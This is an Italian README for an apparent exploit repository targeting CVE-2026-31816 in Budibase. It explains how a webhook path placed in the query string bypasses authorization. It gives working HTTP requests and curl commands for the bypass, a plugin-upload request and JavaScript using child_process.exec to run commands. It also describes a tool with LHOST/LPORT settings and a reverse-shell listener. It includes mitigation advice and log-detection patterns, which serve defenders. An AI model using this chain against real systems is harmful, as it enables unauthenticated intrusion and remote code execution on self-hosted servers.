k3ystr0k3r/cve-2026-31816CVE-2026-31816 - Bypass dell'autenticazione Budibase a RCE
CVE-2026-31816 è una vulnerabilità critica di bypass dell'autenticazione e dell'autorizzazione che interessa Budibase.
La vulnerabilità risiede nel middleware di autorizzazione lato server responsabile della protezione degli endpoint API. Budibase tenta di identificare gli endpoint webhook legittimi con un'espressione regolare non ancorata e valuta tale espressione su ctx.request.url di Koa.
Poiché ctx.request.url contiene la query string, un attaccante può iniettare un percorso simile a un webhook nel componente di query di una richiesta API altrimenti non correlata.
Ad esempio:
/api/integrations?/webhooks/trigger
La richiesta non ha in realtà come target l'endpoint webhook. Tuttavia, il controllo vulnerabile può interpretare /webhooks/trigger come prova che la richiesta sia una legittima richiesta webhook e consentire l'esecuzione senza i normali controlli di autenticazione e autorizzazione.
NVD descrive il problema come la possibilità per un attaccante remoto completamente non autenticato di accedere agli endpoint API lato server aggiungendo un pattern di percorso webhook all'URL.
NVD registra come interessate le versioni di Budibase fino alla 3.31.4 e assegna un punteggio CVSS 3.1 di 9.1.
La logica vulnerabile è incentrata sul rilevamento dei webhook eseguito prima della normale autorizzazione.
Il bollettino di sicurezza documenta un codice concettualmente equivalente a:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
Il problema è la combinazione di due comportamenti:
ctx.request.url contiene la query string.Ciò significa che l'espressione non deve necessariamente corrispondere al percorso effettivo della richiesta.
Una richiesta come:
/api/some/protected/endpoint?/webhooks/trigger
contiene comunque la stringa:
/webhooks/trigger
all'interno dell'URL testato.
Il middleware di autorizzazione successivamente tratta la richiesta come una richiesta webhook e raggiunge l'endpoint senza eseguire il normale flusso di autorizzazione.
Il bollettino di sicurezza di Budibase identifica esplicitamente questo come il difetto sottostante e osserva che il bypass salta autenticazione, autorizzazione, controlli sui ruoli e protezione CSRF.
Una richiesta normale a un endpoint API protetto dovrebbe normalmente passare attraverso il livello di autenticazione.
Ad esempio:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
Un'istanza vulnerabile può invece essere raggiunta con il pattern webhook nella query string:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
La parte importante è:
?/webhooks/trigger
L'endpoint stesso non è cambiato:
/api/integrations
È stata modificata solo la query string.
Il bollettino pubblico di Budibase dimostra questa tecnica esatta su /api/integrations e su molti altri endpoint lato server.
Un modo sicuro per verificare il bypass dell'autenticazione in un laboratorio controllato è confrontare una richiesta ordinaria con la variante con query webhook.
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
Il server vulnerabile può elaborare la seconda richiesta senza i controlli di autenticazione che normalmente proteggono l'endpoint.
Un PoC pubblicato utilizza allo stesso modo:
/api/integrations?/webhooks/trigger
come semplice verifica della vulnerabilità.
Quanto segue dimostra la struttura di una richiesta API autenticata trasformata in una richiesta non autenticata aggiungendo il pattern webhook.
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
Il bollettino ufficiale di Budibase documenta questo endpoint come una delle superfici API interessate.
Altri endpoint lato server documentati come raggiungibili tramite lo stesso difetto includono:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
L'osservazione chiave è che la vulnerabilità non è legata a una particolare risorsa applicativa. Il middleware di autorizzazione interessato si trova davanti a un ampio insieme di API lato server.
Il bypass dell'autenticazione può diventare notevolmente più grave se combinato con un'API sensibile in grado di accettare funzionalità controllate dall'attaccante.
Il PoC in questo repository combina la vulnerabilità come segue:
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
/api/integrations, quindi crea un archivio plugin di Budibase e lo invia tramite /api/plugin/upload.Una volta superata l'autorizzazione, la richiesta di upload del plugin segue il normale formato multipart, con la query webhook vulnerabile aggiunta all'URL.
Una rappresentazione ripulita è:
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
Il PoC del repository crea questa richiesta multipart con un archivio plugin .tar.gz e la invia a /api/plugin/upload?/webhooks/trigger.
Per sicurezza, la richiesta sopra lascia intenzionalmente l'archivio eseguibile come segnaposto piuttosto che incorporare direttamente un payload reverse shell nella documentazione.
Il PoC genera un archivio plugin contenente:
package.json
schema.json
datasource-helper.js
L'archivio viene creato come tarball compresso con gzip.
Il componente JavaScript è costruito in modo che Node.js carichi child_process ed esegua un comando fornito:
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);
L'implementazione del repository supporta più tipi di payload e genera dinamicamente il comando corrispondente.
Questo è il secondo stadio della catena:
Authentication bypass
↓
Unauthenticated API access
↓
Plugin upload
↓
Attacker-controlled JavaScript
↓
Node.js command execution
La vulnerabilità è fondamentalmente un errore di parsing dell'URL e di confine di fiducia.
L'applicazione ha bisogno che alcune rotte webhook siano accessibili pubblicamente. Invece di determinare se il percorso effettivo della richiesta appartiene a una rotta webhook consentita, l'implementazione vulnerabile cerca una sottostringa corrispondente nell'intero URL.
Concettualmente:
Expected:
request.path
│
└── must actually equal a webhook endpoint
Actual vulnerable behavior:
request.url
│
├── path
└── query string
│
└── attacker-controlled text
│
└── /webhooks/trigger
Poiché la query string è controllata dall'attaccante, quest'ultimo può inserire la stringa attesa dal rilevatore di webhook in qualsiasi punto dell'URL.
Ciò fa sì che un controllo booleano sensibile alla sicurezza restituisca il risultato sbagliato:
isWebhookEndpoint(ctx)
│
├── false → normal authorization
│
└── true → return next()
│
├── authentication skipped
├── authorization skipped
├── role checks skipped
└── CSRF checks skipped
Il bollettino di Budibase descrive esplicitamente il comportamento del return next() anticipato e il conseguente bypass dei controlli di sicurezza.
La vulnerabilità è notevolmente più ampia di un semplice bypass del login.
Secondo il bollettino del fornitore, lo sfruttamento può fornire accesso non autenticato ad API lato server che riguardano:
Il bollettino conferma inoltre che il bypass elimina la protezione CSRF e non richiede né interazione dell'utente né credenziali esistenti.
Quando un'API vulnerabile in grado di elaborare funzionalità controllate dall'attaccante è raggiungibile tramite il bypass, la vulnerabilità può essere concatenata in un'esecuzione arbitraria di codice.
Il PoC incluso in questo repository dimostra quel percorso di attacco creando un archivio plugin, caricandolo e attendendone l'esecuzione.
Una strategia di rilevamento di base consiste nel confrontare il comportamento di autenticazione per una richiesta ordinaria e per la stessa richiesta con un suffisso di query in stile webhook.
Esempio:
curl -i http://127.0.0.1:10000/api/integrations
rispetto a:
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'
Un'installazione vulnerabile potrebbe esporre un endpoint protetto tramite la seconda richiesta.
Questa tecnica è utilizzata anche da materiale di rilevamento pubblicamente disponibile per CVE-2026-31816.
La voce NVD identifica:
Budibase <= 3.31.4
come interessata.
C'è una discrepanza documentale importante da notare: il bollettino di sicurezza GitHub attualmente visualizza "Versioni corrette: Nessuna", mentre riferimenti indipendenti sulla vulnerabilità indicano 3.31.5 e successive come limite di remediation.
Per questo motivo, questo repository non dovrebbe presentare 3.31.5 come patch confermata dal fornitore senza riserve, a meno che la corrispondente release/modifica di Budibase non sia verificata in modo indipendente.
Il rimedio principale è aggiornare Budibase a una versione contenente la correzione upstream.
Finché non è possibile applicare la patch, i controlli difensivi possono includere:
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
/webhooks/trigger
/webhooks/schema
/webhooks/discord
/webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.
La vulnerabilità è particolarmente preoccupante per le implementazioni self-hosted esposte a Internet, poiché l'attacco non richiede una sessione autenticata.
Un indicatore utile a livello di log è una richiesta API contenente un pattern di rotta webhook nella query string:
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams
Ad esempio:
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger
Questi pattern dovrebbero essere indagati piuttosto che trattati automaticamente come prova di sfruttamento, poiché è necessario considerare anche il traffico legittimo e il comportamento specifico dell'applicazione.
L'implementazione dell'exploit in questo repository è suddivisa in diversi componenti logici:
ExploitConfig
│
├── target
├── LHOST
├── LPORT
└── payload type
│
▼
BudibaseClient
│
├── vulnerability check
└── plugin upload
│
▼
PluginBuilder
│
└── .tar.gz
│
▼
PayloadBuilder
│
└── JavaScript
│
▼
command execution
L'implementazione contiene anche un listener opzionale per ricevere una connessione shell dopo uno sfruttamento riuscito.
Per un laboratorio controllato:
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.
Questa vulnerabilità è un buon esempio del motivo per cui il matching URL sensibile alla sicurezza dovrebbe essere eseguito su un percorso di richiesta correttamente analizzato e normalizzato, piuttosto che sull'intera stringa URL controllata dall'attaccante.
Il bug è sottile perché la funzionalità webhook in sé è legittima. Il problema è la decisione di fiducia presa dal middleware:
"Does this request target a webhook?"
è di fatto risolta con:
"Does the entire URL contain a webhook-looking substring?"
Queste non sono proprietà di sicurezza equivalenti.
Un attaccante quindi non deve far diventare realmente la propria richiesta una richiesta webhook. Deve solo far credere al middleware di autorizzazione che lo sia.
Questo repository è destinato a ricerca sulla sicurezza, validazione di vulnerabilità e test autorizzati. Non utilizzare l'exploit contro sistemi che non possiedi o per i quali non hai esplicito permesso di test.
| Campo | Valore |
|---|
| CVE | CVE-2026-31816 |
| Vendor | Budibase |
| Product | Budibase |
| Versioni interessate | <= 3.31.4 |
| Gravità | Critica |
| CVSS v3.1 | 9.1 |
| Vettore CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| Vettore di attacco | Rete |
| Privilegi richiesti | Nessuno |
| Interazione utente | Nessuna |
| Autenticazione richiesta | No |